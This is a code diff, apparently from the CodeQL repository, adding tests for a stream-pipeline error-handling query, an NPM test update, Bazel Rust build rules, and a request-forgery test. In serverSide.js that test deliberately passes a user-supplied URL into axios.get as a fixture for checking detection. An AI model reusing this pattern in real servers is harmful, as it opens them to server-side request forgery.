name:BanClass.tmpClass */ +function tmpClass() {} + +function callerClass() { + /** calls:BanClass.tmpClass */ + this.tmpClass(); +} +class BanClass { + constructor() { + this.tmpClass = tmpClass; + this.callerClass = callerClass; + } +} + +/** name:BanProtytpe.tmpPrototype */ +function tmpPrototype() {} + +function callerPrototype() { + /** calls:BanProtytpe.tmpPrototype */ + this.tmpPrototype(); +} + +function BanProtytpe() { + this.tmpPrototype = tmpPrototype; + this.callerPrototype = callerPrototype; +} + +function banInstantiation(){ + const instance = new BanProtytpe(); + instance.callerPrototype(); +} diff --git a/javascript/ql/test/library-tests/NPM/tests.expected b/javascript/ql/test/library-tests/NPM/tests.expected index 568bd0a7a821..59970dcd3d67 100644 --- a/javascript/ql/test/library-tests/NPM/tests.expected +++ b/javascript/ql/test/library-tests/NPM/tests.expected @@ -39,7 +39,6 @@ modules | src/node_modules/nested | nested | src/node_modules/nested/tst3.js:1:1:2:13 | | | src/node_modules/nested/node_modules/a | a | src/node_modules/nested/node_modules/a/index.js:1:1:1:25 | | | src/node_modules/parent-module | parent-module | src/node_modules/parent-module/main.js:1:1:2:0 | | -| src/node_modules/parent-module | parent-module | src/node_modules/parent-module/sub-module/main.js:1:1:2:0 | | | src/node_modules/parent-module/sub-module | parent-module/sub-module | src/node_modules/parent-module/sub-module/main.js:1:1:2:0 | | | src/node_modules/third-party-module | third-party-module | src/node_modules/third-party-module/fancy.js:1:1:4:0 | | npm diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.expected b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.expected new file mode 100644 index 000000000000..1b01574112d5 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.expected @@ -0,0 +1,19 @@ +| test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:45:5:45:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:60:5:60:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:66:5:66:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:79:5:79:25 | s2.pipe ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:94:5:94:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:110:11:110:22 | s.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:119:5:119:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:128:5:128:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:146:5:146:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:182:17:182:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:192:5:192:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:8:5:8:21 | source.pipe(gzip) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:37:21:37:56 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:44:5:44:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:52:5:52:37 | source. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:59:18:59:39 | stream. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:111:5:111:26 | stream. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.qlref b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.qlref new file mode 100644 index 000000000000..0da7b1900f69 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.qlref @@ -0,0 +1,2 @@ +query: Quality/UnhandledErrorInStreamPipeline.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/arktype.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/arktype.js new file mode 100644 index 000000000000..cac5e57511d4 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/arktype.js @@ -0,0 +1,3 @@ +import { type } from 'arktype'; + +type.string.pipe(Number); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/execa.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/execa.js new file mode 100644 index 000000000000..052875e849bc --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/execa.js @@ -0,0 +1,11 @@ +const execa = require('execa'); + +(async () => { + const first = execa('node', ['empty.js']); + const second = execa('node', ['stdin.js']); + + first.stdout.pipe(second.stdin); + + const {stdout} = await second; + console.log(stdout); +})(); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/fizz-pipe.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/fizz-pipe.js new file mode 100644 index 000000000000..94906ee46b68 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/fizz-pipe.js @@ -0,0 +1,29 @@ +import React, { Suspense } from "react"; +import { renderToPipeableStream } from "react-dom/server"; +import { PassThrough } from "stream"; +import { act } from "react-dom/test-utils"; + + +const writable = new PassThrough(); +let output = ""; +writable.on("data", chunk => { output += chunk.toString(); }); +writable.on("end", () => { /* stream ended */ }); + +let errors = []; +let shellErrors = []; + +await act(async () => { + renderToPipeableStream( + }> + + , + { + onError(err) { + errors.push(err.message); + }, + onShellError(err) { + shellErrors.push(err.message); + } + } + ).pipe(writable); +}); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/highland.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/highland.js new file mode 100644 index 000000000000..08ac4f8954ad --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/highland.js @@ -0,0 +1,8 @@ +const highland = require('highland'); +const fs = require('fs'); + +highland(fs.createReadStream('input.txt')) + .map(line => { + if (line.length === 0) throw new Error('Empty line'); + return line; + }).pipe(fs.createWriteStream('output.txt')); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/langchain.ts b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/langchain.ts new file mode 100644 index 000000000000..3203dafedf79 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/langchain.ts @@ -0,0 +1,15 @@ +import { RunnablePassthrough, RunnableSequence } from "@langchain/core/runnables"; + +const fakeRetriever = RunnablePassthrough.from((_q: string) => + Promise.resolve([{ pageContent: "Hello world." }]) +); + +const formatDocumentsAsString = (documents: { pageContent: string }[]) =>documents.map((d) => d.pageContent).join("\n\n"); + +const chain = RunnableSequence.from([ + { + context: fakeRetriever.pipe(formatDocumentsAsString), + question: new RunnablePassthrough(), + }, + "", +]); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/ngrx.ts b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/ngrx.ts new file mode 100644 index 000000000000..c72d8447bb59 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/ngrx.ts @@ -0,0 +1,17 @@ +import { Component } from '@angular/core'; +import { Store, select } from '@ngrx/store'; +import { Observable } from 'rxjs'; + +@Component({ + selector: 'minimal-example', + template: ` +
    {{ value$ | async }}
    + ` +}) +export class MinimalExampleComponent { + value$: Observable; + + constructor(private store: Store) { + this.value$ = this.store.pipe(select('someSlice')); + } +} diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/rxjsStreams.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/rxjsStreams.js new file mode 100644 index 000000000000..79373b49375b --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/rxjsStreams.js @@ -0,0 +1,20 @@ +import * as rx from 'rxjs'; +import * as ops from 'rxjs/operators'; +import { TestScheduler } from 'rxjs/testing'; +import { pluck } from "rxjs/operators/pluck"; + +const { of, from } = rx; +const { map, filter } = ops; + +function f(){ + of(1, 2, 3).pipe(map(x => x * 2)); + someNonStream().pipe(map(x => x * 2)); + + let testScheduler = new TestScheduler(); + testScheduler.run(({x, y, z}) => { + const source = x('', {o: [a, b, c]}); + z(source.pipe(null)).toBe(expected,y,); + }); + + z.option$.pipe(pluck("x")) +} diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/strapi.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/strapi.js new file mode 100644 index 000000000000..e4fd4cd4e67f --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/strapi.js @@ -0,0 +1,5 @@ +import { async } from '@strapi/utils'; + +const f = async () => { + const permissionsInDB = await async.pipe(strapi.db.query('x').findMany,map('y'))(); +} diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/test.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/test.js new file mode 100644 index 000000000000..a253f7edf006 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/test.js @@ -0,0 +1,235 @@ +function test() { + { + const stream = getStream(); + stream.pipe(destination).on("error", e); // $Alert + } + { + const stream = getStream(); + stream.pipe(destination); + stream.on('error', handleError); + } + { + const stream = getStream(); + stream.on('error', handleError); + stream.pipe(destination); + } + { + const stream = getStream(); + const s2 = stream; + s2.pipe(dest).on("error", e); // $Alert + } + { + const stream = getStream(); + stream.on('error', handleError); + const s2 = stream; + s2.pipe(dest); + } + { + const stream = getStream(); + const s2 = stream; + s2.on('error', handleError); + s2.pipe(dest); + } + { + const s = getStream().on('error', handler); + const d = getDest(); + s.pipe(d); + } + { + getStream().on('error', handler).pipe(dest); + } + { + const stream = getStream(); + stream.on('error', handleError); + const stream2 = stream.pipe(destination); + stream2.pipe(destination2).on("error", e); // $Alert + } + { + const stream = getStream(); + stream.on('error', handleError); + const destination = getDest(); + destination.on('error', handleError); + const stream2 = stream.pipe(destination); + const s3 = stream2; + s = s3.pipe(destination2); + } + { + const stream = getStream(); + stream.on('error', handleError); + const stream2 = stream.pipe(destination); + stream2.pipe(destination2).on("error", e); // $Alert + } + { // Error handler on destination instead of source + const stream = getStream(); + const dest = getDest(); + dest.on('error', handler); + stream.pipe(dest).on("error", e); // $Alert + } + { // Multiple aliases, error handler on one + const stream = getStream(); + const alias1 = stream; + const alias2 = alias1; + alias2.on('error', handleError); + alias1.pipe(dest); + } + { // Multiple pipes, handler after first pipe + const stream = getStream(); + const s2 = stream.pipe(destination1); + stream.on('error', handleError); + s2.pipe(destination2).on("error", e); // $Alert + } + { // Handler registered via .once + const stream = getStream(); + stream.once('error', handleError); + stream.pipe(dest); + } + { // Handler registered with arrow function + const stream = getStream(); + stream.on('error', (err) => handleError(err)); + stream.pipe(dest); + } + { // Handler registered for unrelated event + const stream = getStream(); + stream.on('close', handleClose); + stream.pipe(dest).on("error", e); // $Alert + } + { // Error handler registered after pipe, but before error + const stream = getStream(); + stream.pipe(dest); + setTimeout(() => stream.on('error', handleError), 8000); // $MISSING:Alert + } + { // Pipe in a function, error handler outside + const stream = getStream(); + function doPipe(s) { s.pipe(dest); } + stream.on('error', handleError); + doPipe(stream); + } + { // Pipe in a function, error handler not set + const stream = getStream(); + function doPipe(s) { + f = s.pipe(dest); // $Alert + f.on("error", e); + } + doPipe(stream); + } + { // Dynamic event assignment + const stream = getStream(); + const event = 'error'; + stream.on(event, handleError); + stream.pipe(dest).on("error", e); // $SPURIOUS:Alert + } + { // Handler assigned via variable property + const stream = getStream(); + const handler = handleError; + stream.on('error', handler); + stream.pipe(dest); + } + { // Pipe with no intermediate variable, no error handler + getStream().pipe(dest).on("error", e); // $Alert + } + { // Handler set via .addListener synonym + const stream = getStream(); + stream.addListener('error', handleError); + stream.pipe(dest).on("error", e); + } + { // Handler set via .once after .pipe + const stream = getStream(); + stream.pipe(dest); + stream.once('error', handleError); + } + { // Long chained pipe with error handler + const stream = getStream(); + stream.pause().on('error', handleError).setEncoding('utf8').resume().pipe(writable); + } + { // Long chained pipe without error handler + const stream = getStream(); + stream.pause().setEncoding('utf8').resume().pipe(writable).on("error", e); // $Alert + } + { // Long chained pipe without error handler + const stream = getStream(); + stream.pause().setEncoding('utf8').on("error", e).resume().pipe(writable).on("error", e); + } + { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) + const notStream = getNotAStream(); + notStream.pipe(writable).subscribe(); + } + { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) + const notStream = getNotAStream(); + const result = notStream.pipe(writable); + const dealWithResult = (result) => { result.subscribe(); }; + dealWithResult(result); + } + { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) + const notStream = getNotAStream(); + const pipeIt = (someVariable) => { return someVariable.pipe(something); }; + let x = pipeIt(notStream); + x.subscribe(); + } + { // Calling custom pipe method with no arguments + const notStream = getNotAStream(); + notStream.pipe(); + } + { // Calling custom pipe method with more then 2 arguments + const notStream = getNotAStream(); + notStream.pipe(arg1, arg2, arg3); + } + { // Member access on a non-stream after pipe + const notStream = getNotAStream(); + const val = notStream.pipe(writable).someMember; + } + { // Member access on a stream after pipe + const notStream = getNotAStream(); + const val = notStream.pipe(writable).on("error", e).readable; // $Alert + } + { // Method access on a non-stream after pipe + const notStream = getNotAStream(); + const val = notStream.pipe(writable).someMethod(); + } + { // Pipe on fs readStream + const fs = require('fs'); + const stream = fs.createReadStream('file.txt'); + const copyStream = stream; + copyStream.pipe(destination).on("error", e); // $Alert + } + { + const notStream = getNotAStream(); + const something = notStream.someNotStreamPropertyAccess; + const val = notStream.pipe(writable); + } + { + const notStream = getNotAStream(); + const something = notStream.someNotStreamPropertyAccess(); + const val = notStream.pipe(writable); + } + { + const notStream = getNotAStream(); + notStream.pipe({}); + } + { + const notStream = getNotAStream(); + notStream.pipe(()=>{}); + } + { + const plumber = require('gulp-plumber'); + getStream().pipe(plumber()).pipe(dest).pipe(dest).pipe(dest); + } + { + const plumber = require('gulp-plumber'); + const p = plumber(); + getStream().pipe(p).pipe(dest).pipe(dest).pipe(dest); + } + { + const plumber = require('gulp-plumber'); + const p = plumber(); + getStream().pipe(p); + } + { + const plumber = require('gulp-plumber'); + const p = plumber(); + getStream().pipe(p).pipe(dest); + } + { + const notStream = getNotAStream(); + notStream.pipe(getStream(),()=>{}); + } +} diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/tst.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/tst.js new file mode 100644 index 000000000000..46bf969255f8 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/tst.js @@ -0,0 +1,113 @@ +const fs = require('fs'); +const zlib = require('zlib'); + +function foo(){ + const source = fs.createReadStream('input.txt'); + const gzip = zlib.createGzip(); + const destination = fs.createWriteStream('output.txt.gz'); + source.pipe(gzip).pipe(destination); // $Alert + gzip.on('error', e); +} +class StreamWrapper { + constructor() { + this.outputStream = getStream(); + } +} + +function zip() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + let stream = wrapper.outputStream; + stream.on('error', e); + stream.pipe(zipStream); + zipStream.on('error', e); +} + +function zip1() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + wrapper.outputStream.pipe(zipStream); + wrapper.outputStream.on('error', e); + zipStream.on('error', e); +} + +function zip2() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + let outStream = wrapper.outputStream.pipe(zipStream); // $Alert + outStream.on('error', e); +} + +function zip3() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + wrapper.outputStream.pipe(zipStream); // $Alert + zipStream.on('error', e); +} + +function zip3() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + let source = getStream(); + source.pipe(wrapper.outputStream); // $Alert + wrapper.outputStream.on('error', e); +} + +function zip4() { + const zipStream = createWriteStream(zipPath); + let stream = getStream(); + let output = stream.pipe(zipStream); // $Alert + output.on('error', e); +} + +class StreamWrapper2 { + constructor() { + this.outputStream = getStream(); + this.outputStream.on('error', e); + } + +} +function zip5() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper2(); + wrapper.outputStream.pipe(zipStream); + zipStream.on('error', e); +} + +class StreamWrapper3 { + constructor() { + this.stream = getStream(); + } + pipeIt(dest) { + return this.stream.pipe(dest); + } + register_error_handler(listener) { + return this.stream.on('error', listener); + } +} + +function zip5() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper3(); + wrapper.pipeIt(zipStream); // $MISSING:Alert + zipStream.on('error', e); +} +function zip6() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper3(); + wrapper.pipeIt(zipStream); + wrapper.register_error_handler(e); + zipStream.on('error', e); +} + +function registerErr(stream, listerner) { + stream.on('error', listerner); +} + +function zip7() { + const zipStream = createWriteStream(zipPath); + let stream = getStream(); + registerErr(stream, e); + stream.pipe(zipStream); // $SPURIOUS:Alert + zipStream.on('error', e); +} diff --git a/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected b/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected index b3d3055cd868..dde72095df16 100644 --- a/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected +++ b/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected @@ -30,6 +30,9 @@ | serverSide.js:117:20:117:30 | new ws(url) | serverSide.js:115:25:115:35 | request.url | serverSide.js:117:27:117:29 | url | The $@ of this request depends on a $@. | serverSide.js:117:27:117:29 | url | URL | serverSide.js:115:25:115:35 | request.url | user-provided value | | serverSide.js:125:5:128:6 | axios({ ... \\n }) | serverSide.js:123:29:123:35 | req.url | serverSide.js:127:14:127:20 | tainted | The $@ of this request depends on a $@. | serverSide.js:127:14:127:20 | tainted | URL | serverSide.js:123:29:123:35 | req.url | user-provided value | | serverSide.js:131:5:131:20 | axios.get(myUrl) | serverSide.js:123:29:123:35 | req.url | serverSide.js:131:15:131:19 | myUrl | The $@ of this request depends on a $@. | serverSide.js:131:15:131:19 | myUrl | URL | serverSide.js:123:29:123:35 | req.url | user-provided value | +| serverSide.js:141:3:141:30 | axios.g ... ring()) | serverSide.js:139:17:139:29 | req.query.url | serverSide.js:141:13:141:29 | target.toString() | The $@ of this request depends on a $@. | serverSide.js:141:13:141:29 | target.toString() | URL | serverSide.js:139:17:139:29 | req.query.url | user-provided value | +| serverSide.js:142:3:142:19 | axios.get(target) | serverSide.js:139:17:139:29 | req.query.url | serverSide.js:142:13:142:18 | target | The $@ of this request depends on a $@. | serverSide.js:142:13:142:18 | target | URL | serverSide.js:139:17:139:29 | req.query.url | user-provided value | +| serverSide.js:143:3:143:24 | axios.g ... t.href) | serverSide.js:139:17:139:29 | req.query.url | serverSide.js:143:13:143:23 | target.href | The $@ of this request depends on a $@. | serverSide.js:143:13:143:23 | target.href | URL | serverSide.js:139:17:139:29 | req.query.url | user-provided value | edges | Request/app/api/proxy/route2.serverSide.ts:4:9:4:15 | { url } | Request/app/api/proxy/route2.serverSide.ts:4:9:4:34 | url | provenance | | | Request/app/api/proxy/route2.serverSide.ts:4:9:4:34 | url | Request/app/api/proxy/route2.serverSide.ts:5:27:5:29 | url | provenance | | @@ -106,6 +109,15 @@ edges | serverSide.js:123:29:123:35 | req.url | serverSide.js:123:19:123:42 | url.par ... , true) | provenance | | | serverSide.js:130:9:130:45 | myUrl | serverSide.js:131:15:131:19 | myUrl | provenance | | | serverSide.js:130:37:130:43 | tainted | serverSide.js:130:9:130:45 | myUrl | provenance | | +| serverSide.js:139:9:139:29 | input | serverSide.js:140:26:140:30 | input | provenance | | +| serverSide.js:139:17:139:29 | req.query.url | serverSide.js:139:9:139:29 | input | provenance | | +| serverSide.js:140:9:140:31 | target | serverSide.js:141:13:141:18 | target | provenance | | +| serverSide.js:140:9:140:31 | target | serverSide.js:142:13:142:18 | target | provenance | | +| serverSide.js:140:9:140:31 | target | serverSide.js:143:13:143:18 | target | provenance | | +| serverSide.js:140:18:140:31 | new URL(input) | serverSide.js:140:9:140:31 | target | provenance | | +| serverSide.js:140:26:140:30 | input | serverSide.js:140:18:140:31 | new URL(input) | provenance | Config | +| serverSide.js:141:13:141:18 | target | serverSide.js:141:13:141:29 | target.toString() | provenance | | +| serverSide.js:143:13:143:18 | target | serverSide.js:143:13:143:23 | target.href | provenance | | nodes | Request/app/api/proxy/route2.serverSide.ts:4:9:4:15 | { url } | semmle.label | { url } | | Request/app/api/proxy/route2.serverSide.ts:4:9:4:34 | url | semmle.label | url | @@ -199,4 +211,14 @@ nodes | serverSide.js:130:9:130:45 | myUrl | semmle.label | myUrl | | serverSide.js:130:37:130:43 | tainted | semmle.label | tainted | | serverSide.js:131:15:131:19 | myUrl | semmle.label | myUrl | +| serverSide.js:139:9:139:29 | input | semmle.label | input | +| serverSide.js:139:17:139:29 | req.query.url | semmle.label | req.query.url | +| serverSide.js:140:9:140:31 | target | semmle.label | target | +| serverSide.js:140:18:140:31 | new URL(input) | semmle.label | new URL(input) | +| serverSide.js:140:26:140:30 | input | semmle.label | input | +| serverSide.js:141:13:141:18 | target | semmle.label | target | +| serverSide.js:141:13:141:29 | target.toString() | semmle.label | target.toString() | +| serverSide.js:142:13:142:18 | target | semmle.label | target | +| serverSide.js:143:13:143:18 | target | semmle.label | target | +| serverSide.js:143:13:143:23 | target.href | semmle.label | target.href | subpaths diff --git a/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js b/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js index 3f9392c5d992..aec8c4195c83 100644 --- a/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js +++ b/javascript/ql/test/query-tests/Security/CWE-918/serverSide.js @@ -133,3 +133,12 @@ var server2 = http.createServer(function(req, res) { var myEncodedUrl = `${something}/bla/${encodeURIComponent(tainted)}`; axios.get(myEncodedUrl); }) + +var server2 = http.createServer(function(req, res) { + const { URL } = require('url'); + const input = req.query.url; // $Source[js/request-forgery] + const target = new URL(input); + axios.get(target.toString()); // $Alert[js/request-forgery] + axios.get(target); // $Alert[js/request-forgery] + axios.get(target.href); // $Alert[js/request-forgery] +}); diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bazel index 1f97bfd967f4..52ebf159f017 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bazel @@ -672,3 +672,15 @@ alias( actual = "@vendor_ts__ungrammar-1.16.1//:ungrammar", tags = ["manual"], ) + +alias( + name = "zstd-0.13.3", + actual = "@vendor_ts__zstd-0.13.3//:zstd", + tags = ["manual"], +) + +alias( + name = "zstd", + actual = "@vendor_ts__zstd-0.13.3//:zstd", + tags = ["manual"], +) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cc-1.2.7.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cc-1.2.7.bazel index 56be5f5153be..54aab54c9ca5 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cc-1.2.7.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.cc-1.2.7.bazel @@ -28,6 +28,9 @@ rust_library( "WORKSPACE.bazel", ], ), + crate_features = [ + "parallel", + ], crate_root = "src/lib.rs", edition = "2018", rustc_flags = [ @@ -81,6 +84,42 @@ rust_library( }), version = "1.2.7", deps = [ + "@vendor_ts__jobserver-0.1.32//:jobserver", "@vendor_ts__shlex-1.3.0//:shlex", - ], + ] + select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [ + "@vendor_ts__libc-0.2.171//:libc", # aarch64-apple-darwin + ], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # aarch64-unknown-linux-gnu + ], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # aarch64-unknown-linux-gnu, aarch64-unknown-nixos-gnu + ], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [ + "@vendor_ts__libc-0.2.171//:libc", # arm-unknown-linux-gnueabi + ], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # i686-unknown-linux-gnu + ], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # powerpc-unknown-linux-gnu + ], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # s390x-unknown-linux-gnu + ], + "@rules_rust//rust/platform:x86_64-apple-darwin": [ + "@vendor_ts__libc-0.2.171//:libc", # x86_64-apple-darwin + ], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [ + "@vendor_ts__libc-0.2.171//:libc", # x86_64-unknown-freebsd + ], + "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # x86_64-unknown-linux-gnu + ], + "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [ + "@vendor_ts__libc-0.2.171//:libc", # x86_64-unknown-linux-gnu, x86_64-unknown-nixos-gnu + ], + "//conditions:default": [], + }), ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.jobserver-0.1.32.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.jobserver-0.1.32.bazel new file mode 100644 index 000000000000..7e041e35b8c0 --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.jobserver-0.1.32.bazel @@ -0,0 +1,158 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_library") + +package(default_visibility = ["//visibility:public"]) + +rust_library( + name = "jobserver", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2021", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=jobserver", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + "@rules_rust//rust/platform:i686-unknown-freebsd": [], + "@rules_rust//rust/platform:i686-unknown-linux-gnu": [], + "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [], + "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [], + "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [], + "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [], + "@rules_rust//rust/platform:thumbv7em-none-eabi": [], + "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [], + "@rules_rust//rust/platform:wasm32-unknown-unknown": [], + "@rules_rust//rust/platform:wasm32-wasip1": [], + "@rules_rust//rust/platform:x86_64-apple-darwin": [], + "@rules_rust//rust/platform:x86_64-apple-ios": [], + "@rules_rust//rust/platform:x86_64-linux-android": [], + "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [], + "@rules_rust//rust/platform:x86_64-unknown-freebsd": [], + 